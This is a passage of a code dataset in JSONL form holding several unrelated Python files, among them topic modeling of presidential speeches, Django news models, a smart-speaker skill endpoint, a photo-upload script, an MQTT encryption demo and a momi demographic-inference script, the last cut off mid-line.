tf_vectorizer = CountVectorizer(stop_words='english')\n tf = tf_vectorizer.fit_transform(documents)\n tf_feature_names = tf_vectorizer.get_feature_names()\n \n lda = LatentDirichletAllocation(n_components=no_topics, max_iter=5, learning_method='online', learning_offset=50.,random_state=0).fit(tf)\n display_topics(lda, tf_feature_names, no_words)\n \ndef nmf_topics(documents, no_topics, no_words, stopwords):\n # NMF is able to use tf-idf\n tfidf_vectorizer = TfidfVectorizer(stop_words=stopwords)\n tfidf = tfidf_vectorizer.fit_transform(documents)\n tfidf_feature_names = tfidf_vectorizer.get_feature_names()\n\n nmf = NMF(n_components=no_topics, random_state=42, alpha=.1, l1_ratio=.5, init='nndsvd').fit(tfidf)\n transform = nmf.transform(tfidf)\n display_topics(nmf, tfidf_feature_names, no_words)\n\n return transform \n\ndef clean_scraped_df(df):\n new_df = df[~df['speech_title'].str.contains(\"Debate\")]\n new_df = new_df.drop(columns=['Unnamed: 0', 'Unnamed: 0.1'])\n return new_df\n\ndef president_speech_topics(president, no_topics=5, no_words=5, stop_words='english'):\n president_df = df[df['president'] == president]\n speeches = president_df['speech_title'].unique()\n \n for speech in speeches:\n paragraphs = []\n speech_df = president_df[president_df['speech_title'] == speech]\n print(speech)\n for idx, p in speech_df['text'].iteritems():\n p = replace_filler(p)\n p = p.encode('ascii', 'ignore')\n paragraphs.append(p)\n \n nmf_topics(paragraphs, no_topics, no_words, stop_words)\n\ndef president_total_topics(president, topics_list, no_topics=10, no_words=10, stop_words='english'):\n president_df = df[df['president'] == president]\n president_df = president_df[~president_df['speech_title'].str.contains(\"Debate\")]\n speeches = president_df['speech_title'].unique()\n\n all_speeches = []\n for speech in speeches:\n current_speech = []\n speech_df = president_df[president_df['speech_title'] == speech]\n for idx, p in speech_df['text'].iteritems():\n p = replace_filler(str(p))\n current_speech.append(p)\n current_speech = ''.join(current_speech)\n current_speech = current_speech.encode('ascii', 'ignore')\n all_speeches.append(current_speech)\n nmf_matrix = nmf_topics(all_speeches, no_topics, no_words, stop_words)\n\n president_topics_table(president, topics_list, nmf_matrix, speeches)\n\n\ndef all_presidents(df, no_topics=20, no_words=5, stop_words='english'):\n presidents = df['president'].unique()\n\n all_speeches = []\n for president in presidents:\n president_df = df[df['president'] == president]\n president_df = president_df[~president_df['speech_title'].str.contains(\"Debate\")]\n speeches = president_df['speech_title'].unique()\n current_president = []\n for speech in speeches:\n current_speech = []\n speech_df = president_df[president_df['speech_title'] == speech]\n for idx, p in speech_df['text'].iteritems():\n p = replace_filler(str(p))\n current_speech.append(p)\n current_speech = ''.join(current_speech)\n current_president.append(current_speech)\n current_president = ''.join(current_president)\n current_president = current_president.encode('ascii', 'ignore')\n all_speeches.append(current_president)\n nmf_matrix = nmf_topics(all_speeches, no_topics, no_words, stop_words)\n\n\ndef president_topics_table(president, topics_list, nmf_matrix, speeches):\n \n topics_df = pd.DataFrame(index=speeches)\n for idx, topic in enumerate(topics_list):\n if topic == None:\n s = pd.Series(nmf_matrix[:, idx], name='Unclear Topic', index=speeches)\n topics_df = pd.concat([topics_df, s] , axis=1)\n elif type(topic) == list:\n for t in topic:\n s = pd.Series(nmf_matrix[:, idx] / len(topic), name=t, index=speeches)\n topics_df = pd.concat([topics_df, s] , axis=1)\n else:\n s = pd.Series(nmf_matrix[:, idx], name=topic, index=speeches)\n topics_df = pd.concat([topics_df, s] , axis=1)\n\n graph_df = pd.DataFrame(columns=['president', 'topic', 'score'])\n num_speeches = len(speeches)\n try:\n topics_df = topics_df.drop(columns='Unclear Topic')\n except:\n pass\n topics_df = topics_df.groupby(topics_df.columns, axis=1).sum()\n\n counter = 0\n\n for topic in topics_df.columns:\n\n zeros = len(topics_df[topics_df[topic] == 0])\n total = topics_df[topic].sum()\n score = total * ((num_speeches - zeros) / num_speeches)\n if score == 0:\n pass\n else:\n graph_df.loc[counter] = [president, topic, score]\n counter += 1\n\n graph_president_topics(graph_df[['topic', 'score']], president) \n\n\ndef graph_president_topics(df, president):\n df = df.set_index('topic')\n df.plot(kind='bar', y = 'score', fontsize=10, rot=20)\n filepath = 'graphs/president_topics/' + president.replace(' ', '_')\n plt.savefig(filepath)\n plt.show()\n\n\ndef replace_filler(text):\n\n text = text.replace('xa0', '')\n text = text.replace('(Applause.)', '')\n text = text.replace('(APPLAUSE.)', '')\n text = text.replace('(applause.)', '')\n text = text.replace('(Laughter.)', '')\n text = text.replace('(LAUGHTER.)', '')\n text = text.replace('(laughter.)', '')\n text = text.replace('(Laughter and applause.)','')\n text = text.replace('(Laughter and Applause.)','')\n text = text.replace('(Applause)', '')\n text = text.replace('(APPLAUSE)', '')\n text = text.replace('(applause)', '')\n text = text.replace('(Laughter)', '')\n text = text.replace('(LAUGHTER)', '')\n text = text.replace('(laughter)', '')\n text = text.replace('(Laughter and applause)','')\n text = text.replace('(Laughter and Applause)','')\n\n return text\n\nstop_words = frozenset([\n \"a\", \"about\", \"above\", \"across\", \"after\", \"afterwards\", \"again\", \"against\",\n \"all\", \"almost\", \"alone\", \"along\", \"already\", \"also\", \"although\", \"always\",\n \"am\", \"among\", \"amongst\", \"amoungst\", \"amount\", \"an\", \"and\", \"another\",\n \"any\", \"anyhow\", \"anyone\", \"anything\", \"anyway\", \"anywhere\", \"are\",\n \"around\", \"as\", \"at\", \"back\", \"be\", \"became\", \"because\", \"become\",\n \"becomes\", \"becoming\", \"been\", \"before\", \"beforehand\", \"behind\", \"being\",\n \"below\", \"beside\", \"besides\", \"between\", \"beyond\", \"bill\", \"both\",\n \"bottom\", \"but\", \"by\", \"call\", \"can\", \"cannot\", \"cant\", \"co\", \"con\",\n \"could\", \"couldnt\", \"cry\", \"de\", \"describe\", \"detail\", \"do\", \"done\",\n \"down\", \"due\", \"during\", \"each\", \"eg\", \"eight\", \"either\", \"eleven\", \"else\",\n \"elsewhere\", \"empty\", \"enough\", \"etc\", \"even\", \"ever\", \"every\", \"everyone\",\n \"everything\", \"everywhere\", \"except\", \"few\", \"fifteen\", \"fifty\", \"fill\",\n \"find\", \"fire\", \"first\", \"five\", \"for\", \"former\", \"formerly\", \"forty\",\n \"found\", \"four\", \"from\", \"front\", \"full\", \"further\", \"get\", \"give\", \"go\",\n \"had\", \"has\", \"hasnt\", \"have\", \"he\", \"hence\", \"her\", \"here\", \"hereafter\",\n \"hereby\", \"herein\", \"hereupon\", \"hers\", \"herself\", \"him\", \"himself\", \"his\",\n \"how\", \"however\", \"hundred\", \"i\", \"ie\", \"if\", \"in\", \"inc\", \"indeed\",\n \"interest\", \"into\", \"is\", \"it\", \"its\", \"itself\", \"keep\", \"last\", \"latter\",\n \"latterly\", \"least\", \"less\", \"ltd\", \"made\", \"many\", \"may\", \"me\",\n \"meanwhile\", \"might\", \"mill\", \"mine\", \"more\", \"moreover\", \"most\", \"mostly\",\n \"move\", \"much\", \"must\", \"my\", \"myself\", \"name\", \"namely\", \"neither\",\n \"never\", \"nevertheless\", \"next\", \"nine\", \"no\", \"nobody\", \"none\", \"noone\",\n \"nor\", \"not\", \"nothing\", \"now\", \"nowhere\", \"of\", \"off\", \"often\", \"on\",\n \"once\", \"one\", \"only\", \"onto\", \"or\", \"other\", \"others\", \"otherwise\", \"our\",\n \"ours\", \"ourselves\", \"out\", \"over\", \"own\", \"part\", \"per\", \"perhaps\",\n \"please\", \"put\", \"rather\", \"re\", \"same\", \"see\", \"seem\", \"seemed\",\n \"seeming\", \"seems\", \"serious\", \"several\", \"she\", \"should\", \"show\", \"side\",\n \"since\", \"sincere\", \"six\", \"sixty\", \"so\", \"some\", \"somehow\", \"someone\",\n \"something\", \"sometime\", \"sometimes\", \"somewhere\", \"still\", \"such\",\n \"system\", \"take\", \"ten\", \"than\", \"that\", \"the\", \"their\", \"them\",\n \"themselves\", \"then\", \"thence\", \"there\", \"thereafter\", \"thereby\",\n \"therefore\", \"therein\", \"thereupon\", \"these\", \"they\", \"thick\", \"thin\",\n \"third\", \"this\", \"those\", \"though\", \"three\", \"through\", \"throughout\",\n \"thru\", \"thus\", \"to\", \"together\", \"too\", \"top\", \"toward\", \"towards\",\n \"twelve\", \"twenty\", \"two\", \"un\", \"under\", \"until\", \"up\", \"upon\", \"us\",\n \"very\", \"via\", \"was\", \"we\", \"well\", \"were\", \"what\", \"whatever\", \"when\",\n \"whence\", \"whenever\", \"where\", \"whereafter\", \"whereas\", \"whereby\",\n \"wherein\", \"whereupon\", \"wherever\", \"whether\", \"which\", \"while\", \"whither\",\n \"who\", \"whoever\", \"whole\", \"whom\", \"whose\", \"why\", \"will\", \"with\",\n \"within\", \"without\", \"would\", \"yet\", \"you\", \"your\", \"yours\", \"yourself\",\n \"yourselves\", \"audience\", \"thank\", \"applause\", \"president\", \"mr\", \"booo\", \"lady\"\n \"yes\", \"member\", \"everybody\", \"make\" \"members\", \"secretary\", \"shall\", \"thats\", \"theyre\",\n \"just\", \"ms\", \"ve\", \"000\", \"fellow\", \"got\", \"ive\" ,\"okay\", \"allen\", \"150\", \"lets\", \"sure\",\n \"im\", \"think\", \"going\", \"lot\", \"90\", \"200\", \"let\", \"transit\", \"executive\", \"power\", \"land\", \"scrip\"\n ])\n\ntopics_list = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '10']\n\n#print(president_total_topics('James K. Polk', topics_list, no_topics=10, no_words=10, stop_words=stop_words))\n\n\nprint(stop_words)","sub_path":"american_values/topic_modeling.py","file_name":"topic_modeling.py","file_ext":"py","file_size_in_byte":10920,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"589550453","text":"import unittest\n\nfrom os.path import abspath, join, dirname\nimport sys\nsys.path.insert(0, abspath(join(dirname(__file__), \"../src\")))\n\nfrom vault import Databag\nfrom vault import Key\n\n\nclass TestDatabag(unittest.TestCase):\n\n @classmethod\n def setUpClass(self):\n self.id = \"myId\"\n self.data = {\n 'name': \"foo\",\n 'foo': {\n 'name': \"bar\"\n }\n }\n keyFilename = \"test.pem\"\n self.key = Key(filename=keyFilename).private\n\n def test_creation(self):\n databag = Databag(self.id, self.data)\n self.assertDictEqual(self.data, databag.data)\n self.assertEqual(self.id, databag.id)\n\n def test_encryption(self):\n databag = Databag(self.id, self.data)\n databag.encrypt(self.key)\n encrypted = databag.data\n\n databag2 = Databag(self.id, encrypted)\n databag2.decrypt(self.key)\n decrypted = databag2.data\n\n self.assertEqual(databag.id, databag2.id)\n self.assertEqual(self.data, decrypted)\n","sub_path":"tests/databag_tests.py","file_name":"databag_tests.py","file_ext":"py","file_size_in_byte":1038,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"560047838","text":"from django.db import models\nfrom django.urls import reverse\nfrom aktien.models import Companies\n\n\n# Create your models here.\n#from django.contrib.auth import get_user_model\n#User=get_user_model()\n\n#class Source(models.Model):\n #name = models.TextField()\n #title = models.TextField(null=True, blank=True)\n #description = models.TextField(null=True, blank=True)\n #home_page_url = models.URLField(null=True, blank=True)\n\n #def __str__(self):\n #return self.name\n\nclass Author(models.Model):\n name = models.TextField()\n\n def __str__(self):\n return self.name\n\nclass NewsSource(models.Model):\n name = models.TextField()\n description = models.TextField(null=True, blank=True)\n home_page_url = models.URLField()\n\n def __str__(self):\n return self.name + \" / \" + str(self.home_page_url)\n\n\nclass Stories(models.Model):\n NEUTRAL = 'neutral'\n POSITIVE = 'positive'\n NEGATICE = 'negative'\n ENGLISH = 'eng'\n SENTIMENT_CHOICES = (\n (NEUTRAL, 'neutral'),\n (POSITIVE, 'positive'),\n (NEGATICE, 'negative'),\n )\n LANGUAGE_CHOICES = (\n (ENGLISH, 'en'),\n )\n aid = models.PositiveIntegerField()\n title = models.TextField()\n body = models.TextField()\n #source = models.ForeignKey(Source, on_delete=models.CASCADE)\n author = models.ForeignKey(Author, on_delete=models.CASCADE)\n characters_count = models.PositiveIntegerField()\n words_count = models.PositiveIntegerField()\n sentences_count = models.PositiveIntegerField()\n paragraphs_count = models.PositiveIntegerField()\n sentiment_title_polarity = models.TextField(choices=SENTIMENT_CHOICES, default=NEUTRAL)\n sentiment_title_score = models.DecimalField(decimal_places=6,max_digits=7)\n sentiment_body_polarity = models.TextField(choices=SENTIMENT_CHOICES, default=NEUTRAL)\n sentiment_body_score = models.DecimalField(decimal_places=6,max_digits=7)\n language = models.TextField(choices=LANGUAGE_CHOICES, default=ENGLISH)\n published_at = models.DateTimeField()\n permalink = models.URLField()\n related_stories = models.URLField()\n relatedarticles = models.ManyToManyField(\"self\")\n coverages = models.URLField()\n pined = models.BooleanField()\n relatedsymbols = models.ManyToManyField(Companies, blank=True)\n relatedmedia = models.ForeignKey(NewsSource, on_delete=models.CASCADE, null=True, blank=True)\n\n\n def __str__(self):\n return self.title\n\n class Meta:\n ordering = ['-published_at']\n\n def get_absolute_url():\n return reverse('listnews:single',kwargs={'pk':self.pk})\n\n\nclass Effects(models.Model):\n article = models.ForeignKey(Stories, on_delete=models.CASCADE)\n company = models.ForeignKey(Companies, on_delete=models.CASCADE)\n siglevel = models.DecimalField(decimal_places=3,max_digits=4)\n mindate = models.DateField()\n maxdate = models.DateField()\n numa = models.PositiveIntegerField()\n numb = models.PositiveIntegerField()\n meana = models.FloatField()\n meanb = models.FloatField()\n meandiff = models.FloatField()\n\n def __str__(self):\n return str(self.article) + \" / \" + str(self.company)\n","sub_path":"listnews/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3159,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"427854852","text":"from django.db import models\nfrom django.db.models.signals import post_save, pre_save\nfrom django.dispatch import receiver\n\nfrom django_extensions.db.fields import CreationDateTimeField\nfrom tower import ugettext as _\nfrom .managers import ActivityManager\nfrom ..popcorn.models import Project\n\n\nclass Activity(models.Model):\n \"\"\"Records recent activity on the profile\"\"\"\n user = models.ForeignKey('auth.User')\n body = models.CharField(max_length=255)\n created = CreationDateTimeField()\n url = models.URLField(blank=True)\n\n # managers\n objects = ActivityManager()\n\n class Meta:\n verbose_name_plural = 'activities'\n\n def __unicode__(self):\n return u'Activity: %s %s' % (self.user, self.body)\n\n def get_absolute_url(self):\n return self.url if self.url else None\n\n\n@receiver(post_save, sender=Project, dispatch_uid='activity_project_create')\ndef created_project(sender, *args, **kwargs):\n instance = kwargs.pop('instance')\n message = None\n if kwargs['created'] and instance.is_published:\n message = _('has created a project')\n if kwargs['created'] and instance.source:\n message = _('has forked a project')\n if message:\n Activity.objects.create(user=instance.author, body=message,\n url=instance.get_absolute_url())\n return\n\n\n@receiver(pre_save, sender=Project, dispatch_uid='activity_project_update')\ndef updated_project(sender, *args, **kwargs):\n instance = kwargs.pop('instance')\n if instance.id and instance.is_published:\n project = (Project.objects.get(id=instance.id))\n # status has changed\n if not project.status == instance.status:\n Activity.objects.create(user=instance.author,\n body=_('has published a project'),\n url=instance.get_absolute_url())\n return\n","sub_path":"popcorn_gallery/activity/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1891,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"18518580","text":"from django.http import HttpResponse\nfrom django.http import JsonResponse\nimport json, time\nfrom django.views.decorators.csrf import csrf_exempt\nimport logging\nfrom jdskill.response import ResponseJD\nfrom jdskill.models import *\nfrom jdskill.processer import Processer\nfrom typing import *\n\n\nSTART_MSG= \"启动信息\"\n\nHELP_MSG= \"帮助信息\"\nEXIT_MSG=\"好的,再见,我会一直等着你哦\"\n\n\n@csrf_exempt\ndef index(request):\n start = time.time()\n # exmsg={}\n # logger = logging.getLogger('django')\n response=ResponseJD()\n request_type=\"\"\n request_dict={}\n dblog=JD_Log()\n exception=''\n\n if request.method == 'POST':\n try:\n request_dict = json.loads(request.body,encoding='utf-8')\n dblog.request = json.dumps(request_dict, ensure_ascii=False)\n dblog.ip=get_ip(request)\n dblog.header=meta(request)\n request_type = request_dict[\"request\"][\"type\"]\n except Exception:\n dblog.exmsg=str(Exception )\n response.shouldEndSession = True\n response.set_output_plantText(EXIT_MSG)\n return JsonResponse(response.to_dict(), safe=False, )\n else: #GET\n\n return HttpResponse(\"service is working\")\n\n response.add_session_data( request_type,\"last_request_type\")\n if (request_type == \"SessionEndedRequest\"):\n response.set_session_end()\n response.set_output_plantText(EXIT_MSG)\n return JsonResponse(response.to_dict(), safe=False)\n\n processer = Processer(request_dict)\n\n if (request_type == \"LaunchRequest\"):\n processer.launchRequest()\n elif (request_type == \"IntentRequest\"):\n processer.intent_process()\n\n response = processer.response\n dblog.response = json.dumps(response.to_dict(), ensure_ascii=False)\n dblog.deviceid=processer.device\n dblog.ownerid=processer.device_owner\n end = time.time()\n dblog.exmsg = \" {\\\"process time\\\":\" + \"{:.3f}\".format((end - start))\n dblog.save()\n\n return JsonResponse(response.to_dict(), safe=False)\n\n\n\ndef get_ip(request):\n x_forwarded_for = request.META.get('HTTP_X_FORWARDED_FOR')\n if x_forwarded_for:\n ip = x_forwarded_for.split(',')[0]\n else:\n ip = request.META.get('REMOTE_ADDR')\n return ip\n\ndef meta(request):\n META = request.META\n info = ''\n for k, v in META.items():\n if k.startswith(\"HTTP\") or k.startswith(\"CONTENT_\") or k.startswith(\"REMOTE\") or k.startswith(\"SERVER\") or k.startswith(\"REQUEST_URI\") :\n info += '\\r\\n{} : {}\\r\\n'.format(k, v)\n return info\n","sub_path":"sdp/jdskill/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2568,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"97385651","text":"import fcntl\nfrom functools import partial\nimport hashlib\nimport logging\nimport mimetypes\nimport os\nimport sys\nimport warnings\n\nfrom PIL import Image\nimport pyexif\nimport pymysql\nimport requests\n\nimport utils\n\n\nLOCKFILE = \".upload.lock\"\nPHOTODIR = \"/Users/ed/Desktop/photoframe\"\nCLOUD_CONTAINER = \"photoviewer\"\nHASHFILE = \"state.hash\"\nLOGFILE = \"log/upload.log\"\nTESTING = False\nTHUMB_URL = \"https://photo.leafe.com/images/thumb\"\nTHUMB_SIZE = (120, 120)\nLOG = None\nDEFAULT_ENCONDING = \"utf-8\"\n\n# Albums that have already been checked against the DB\nseen_albums = {}\n\n\ndef _setup_logging():\n if not os.path.exists(LOGFILE):\n os.makedirs(\"log\", exist_ok=True)\n with open(LOGFILE, \"w\") as ff:\n # This will create the file but not write anything\n pass\n global LOG\n LOG = logging.getLogger(\"upload\")\n hnd = logging.FileHandler(LOGFILE)\n formatter = logging.Formatter(\"%(asctime)s %(levelname)s %(message)s\")\n hnd.setFormatter(formatter)\n LOG.addHandler(hnd)\n if os.path.exists(\"LOGLEVEL\"):\n with open(\"LOGLEVEL\", \"r\") as ff:\n level = ff.read().strip()\n else:\n level = \"INFO\"\n logdebug(\"LEVEL:\", level)\n LOG.setLevel(getattr(logging, level))\n\n\ndef logit(level, *msgs):\n if not LOG:\n _setup_logging()\n text = \" \".join([f\"{msg}\" for msg in msgs])\n log_method = getattr(LOG, level)\n log_method(text)\n\n\nlogdebug = partial(logit, \"debug\")\nloginfo = partial(logit, \"info\")\n\n\ndef directory_hash(dirname=\"\"):\n dirname = PHOTODIR if not dirname else dirname\n cmd = f\"ls -lhR {dirname}\"\n out, err = utils.runproc(cmd)\n m = hashlib.sha256(out)\n ret = m.hexdigest()\n logdebug(f\"Directory hash for {dirname}:\", ret)\n return ret\n\n\ndef changed(subdir=None):\n if TESTING:\n return True\n match = \"ALL\" if subdir is None else os.path.basename(subdir)\n logdebug(f\"Checking changed status of {match}\")\n previous = None\n if os.path.exists(HASHFILE):\n with open(HASHFILE, \"rb\") as ff:\n ln = ff.readline()\n ln = ln.strip().decode(DEFAULT_ENCONDING)\n while ln:\n if isinstance(ln, bytes):\n key, val = ln.decode(DEFAULT_ENCONDING).split(\":\")\n else:\n key, val = ln.split(\":\")\n if key == match:\n previous = val\n break\n ln = ff.readline().strip()\n logdebug(\"Previous hash:\", previous)\n if previous is None:\n # New directory\n return True\n dirname = PHOTODIR if subdir is None else os.path.join(PHOTODIR, subdir)\n curr = directory_hash(dirname)\n logdebug(\"Current hash:\", curr)\n return curr != previous\n\n\ndef update_state():\n with open(HASHFILE, \"w\") as ff:\n dirhash = directory_hash(PHOTODIR)\n ff.write(f\"ALL:{dirhash}\\n\")\n loginfo(\"State file updated\")\n for fname in os.listdir(PHOTODIR):\n pth = os.path.join(PHOTODIR, fname)\n if fname.startswith(\".\") or not os.path.isdir(pth):\n continue\n dirhash = directory_hash(os.path.join(PHOTODIR, fname))\n # if isinstance(fname, str):\n # fname = fname.encode(DEFAULT_ENCONDING)\n ff.write(f\"{fname}:{dirhash}\\n\")\n\n\ndef import_photos(clt, folder=None):\n if folder is None:\n folder = PHOTODIR\n album = None\n else:\n album = os.path.split(folder)[-1]\n # Update the database\n photos = [f for f in os.listdir(folder) if not f.startswith(\".\")]\n for photo_name in photos:\n fpath = os.path.join(folder, photo_name)\n if os.path.isdir(fpath):\n if changed(fpath):\n logdebug(f\"Importing photos; directory '{fpath}' has changed\")\n import_photos(clt, fpath)\n continue\n loginfo(\"Importing\", photo_name)\n img = pyexif.ExifEditor(fpath)\n keywords = img.getKeywords()\n tags = img.getDictTags()\n file_type = tags.get(\"FileType\", \"\")\n file_size = os.path.getsize(fpath)\n ht = tags.get(\"ImageHeight\", 0)\n wd = tags.get(\"ImageWidth\", 0)\n if ht == wd:\n orientation = \"S\"\n else:\n orientation = \"H\" if wd > ht else \"V\"\n # Use CreateDate if present; otherwise fall back to ModifiyDate\n created = img.getTag(\"CreateDate\")\n if not created:\n created = img.getTag(\"ModifyDate\")\n created = created or \"1901:01:01 00:00:00\"\n # The ExifEditor returns dates with all colons. Replace those that make\n # up the date portion.\n created = created.replace(\":\", \"-\", 2)\n # Update the DB record, if any\n add_or_update_db(\n photo_name, file_type, file_size, created, ht, wd, orientation, keywords, album\n )\n # If the image is smaller than 4000x3000, upscale it\n img_obj = Image.open(fpath)\n if orientation == \"S\":\n upscale = ht < 4000\n newsize = (4000, 4000)\n elif orientation == \"H\":\n upscale = wd < 4000\n newsize = (4000, 3000)\n else:\n upscale = ht < 4000\n newsize = (3000, 4000)\n if upscale:\n loginfo(\"Upscaling {} to {}\".format(photo_name, newsize))\n img_obj.resize(newsize)\n with utils.SelfDeletingTempfile() as ff:\n loginfo(\"Uploading:\", photo_name)\n img_obj.save(ff, format=file_type)\n remote_path = os.path.join(CLOUD_CONTAINER, photo_name)\n remote_file = clt.new_key(remote_path)\n content_type = mimetypes.guess_type(file_type)[0] or \"image/jpg\"\n with open(ff, \"rb\") as file_to_upload:\n remote_file.set_contents_from_file(\n file_to_upload, headers={\"Content-Type\": content_type}\n )\n remote_file.set_acl(\"public-read\")\n # Create a thumbnail to upload to the server\n img_obj = Image.open(fpath)\n img_obj.thumbnail(THUMB_SIZE)\n img_obj.filename = photo_name\n with utils.SelfDeletingTempfile() as ff:\n img_obj.save(ff, format=file_type)\n # Copy to the server\n files = {\"thumb_file\": open(ff, \"rb\")}\n data = {\"filename\": photo_name}\n loginfo(\"Posting thumbnail for\", photo_name)\n resp = requests.post(THUMB_URL, data=data, files=files)\n\n # Finally, update the state\n update_state()\n\n\ndef add_or_update_db(\n photo_name, file_type, file_size, created, height, width, orientation, keywords, album\n):\n crs = utils.get_cursor()\n sql = \"select * from image where name = %s;\"\n crs.execute(sql, (photo_name,))\n recs = crs.fetchall()\n kw_str = \" \".join(keywords)\n image_id = None\n if recs:\n loginfo(\"DB; image exists\", photo_name)\n rec = recs[0]\n image_id = rec[\"pkid\"]\n # Record exists; see if it differs\n if (\n (keywords == rec[\"keywords\"])\n and (width == rec[\"wd\"])\n and (ht == rec[\"height\"])\n and (file_type == rec[\"imgtype\"])\n and (orientation == rec[\"orientation\"])\n and (created == rec[\"created\"])\n and (file_size == rec[\"size\"])\n ):\n # Everything matches; nothing to do.\n loginfo(\"DB; no change to\", photo_name)\n pass\n else:\n sql = \"\"\"update image set keywords = %s, width = %s, height = %s, imgtype = %s, orientation = %s,\n size = %s, created = %s where pkid = %s;\"\"\"\n crs.execute(\n sql, (kw_str, width, height, file_type, orientation, file_size, created, image_id)\n )\n loginfo(\"DB; updated\", photo_name)\n else:\n # New image\n image_id = utils.gen_uuid()\n sql = \"\"\"insert into image (pkid, keywords, name, width, height, orientation, imgtype, size, created)\n values (%s, %s, %s, %s, %s, %s, %s, %s, %s);\"\"\"\n crs.execute(\n sql,\n (\n image_id,\n kw_str,\n photo_name,\n width,\n height,\n orientation,\n file_type,\n file_size,\n created,\n ),\n )\n loginfo(\"DB; created record for\", photo_name)\n if album:\n if isinstance(album, str):\n album = album.encode(DEFAULT_ENCONDING)\n album_id = seen_albums.get(album)\n if not album_id:\n sql = \"select pkid from album where name = %s;\"\n crs.execute(sql, (album,))\n rec = crs.fetchone()\n if rec:\n album_id = rec[\"pkid\"]\n loginfo(\"DB; album\", album, \"exists\")\n else:\n album_id = utils.gen_uuid()\n sql = \"insert into album (pkid, name) values (%s, %s);\"\n crs.execute(sql, (album_id, album))\n loginfo(\"DB; created album\", album)\n seen_albums[album] = album_id\n # Add the photo to the album`\n sql = \"\"\"insert ignore into album_image set album_id = %s, image_id = %s;\"\"\"\n with warnings.catch_warnings():\n # Change filter action to 'error' to raise warnings as if they\n # were exceptions, to record them in the log file\n warnings.simplefilter(\"ignore\", pymysql.Warning)\n crs.execute(sql, (album_id, image_id))\n loginfo(\"DB; Added\", photo_name, \"to album\", album)\n utils.commit()\n\n\ndef processing():\n try:\n with open(LOCKFILE) as lockfile:\n fcntl.flock(lockfile, fcntl.LOCK_EX)\n except IOError:\n return True\n return False\n\n\nif __name__ == \"__main__\":\n with open(LOCKFILE, \"ab\") as lockfile:\n try:\n fcntl.flock(lockfile, fcntl.LOCK_EX | fcntl.LOCK_NB)\n except IOError:\n # Another process is running the upload\n loginfo(\"LOCKED!\")\n exit()\n if changed():\n clt = utils.create_client()\n import_photos(clt)\n","sub_path":"upload.py","file_name":"upload.py","file_ext":"py","file_size_in_byte":10120,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"613087051","text":"#!/usr/bin/env python3\n\nimport urllib.request\n\ndef readData(url):\n with urllib.request.urlopen(url) as webpage:\n for line in webpage:\n line = line.strip()\n line = line.decode(\"utf-8\")\n print(line)\n\ndef main():\n url = \"http://robjhyndman.com/tsdldata/ecology1/hopedale.dat\"\n readData(url)\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"PP3/urlrequest-10.4.py","file_name":"urlrequest-10.4.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"29291680","text":"import time\r\nimport paho.mqtt.client as paho\r\nfrom cryptography.fernet import Fernet\r\n\r\n\r\nbroker=\"broker.mqttdashboard.com\"\r\n\r\n\r\ndef on_log(client, userdata, level, buf):\r\n print(\"log: \", buf)\r\n\r\n\r\n\r\nclient= paho.Client(\"client-pub\")\r\nclient.on_log = on_log\r\n\r\n#cipher_key = Fernet.generate_key()\r\ncipher_key = b'0x3kqFR-uHFZezuHSRImCHZgBz9pSrMK9Lb9IDwk4Zg='\r\ncipher = Fernet(cipher_key)\r\nmessage = b'Hello'\r\n\r\nencrypted_message = cipher.encrypt(message)\r\nout_message = encrypted_message.decode()# turn it into a string to send\r\n\r\nprint(\"connecting to broker \", broker)\r\nclient.connect(broker)\r\nclient.loop_start()\r\nprint(\"publishing encrypted message \", encrypted_message)\r\n\r\nclient.publish(\"trial/encrypt\", out_message, qos=1, retain=True)\r\ntime.sleep(4)\r\nclient.disconnect()\r\nclient.loop_stop()\r\n","sub_path":"classroom_mqtt/publish-payload-encrypt .py","file_name":"publish-payload-encrypt .py","file_ext":"py","file_size_in_byte":802,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"344572040","text":"import momi\nimport os\nimport argparse\n\n# parse input arguments\nparser = argparse.ArgumentParser()\nparser.add_argument('--prefix', '-p', type=str, help='prefix of files')\nparser.add_argument('--replicate', '-r', type=str, help='replicate')\nargs = parser.parse_args()\nprefix = args.prefix\nrep = args.replicate\n\nsampled_n_dict = {\"A\": 6,\"B\": 6, \"C\": 6}\nploidy = 2 \n# a dict mapping samples to populations\nind2pop = {}\nfor pop, n in sampled_n_dict.items():\n for i in range(int(n / ploidy)):\n ind2pop[\"{}_{}\".format(pop, i)] = pop\n\nif not os.path.exists('data/3pops_ind2pop.txt'):\n with open(\"data/3pops_ind2pop.txt\", \"w\") as f:\n for i, p in ind2pop.items():\n print(i, p, sep=\"\\t\", file=f)\n\n# reading in sfs from data\nbashCommand = \"python -m momi.read_vcf data/{0}{1}.vcf.gz data/3pops_ind2pop.txt data/{0}{1}.snpAlleleCounts.gz --bed data/{0}{1}.bed\".format(prefix, rep)\nos.system(bashCommand)\nbashCommand = \"python -m momi.extract_sfs data/sfs_{0}{1}.gz 100 data/{0}{1}.snpAlleleCounts.gz\".format(prefix, rep)\nos.system(bashCommand)\nsfs = momi.Sfs.load(\"data/sfs_{0}{1}.gz\".format(prefix, rep))\n\n# start inference\n# model 1: ((A, B),C)\nmodel = momi.DemographicModel(N_e=1e4, gen_time=29, muts_per_gen=1.25e-8)\nmodel.set_data(sfs)\nmodel.add_leaf(\"A\")\nmodel.add_leaf(\"B\")\nmodel.add_leaf(\"C\")\nmodel.add_time_param(\"t_A_B\")\nmodel.add_time_param(\"t_B_C\", lower_constraints=[\"t_A_B\"])\nmodel.move_lineages(\"A\", \"B\", t=\"t_A_B\")\nmodel.move_lineages(\"B\", \"C\", 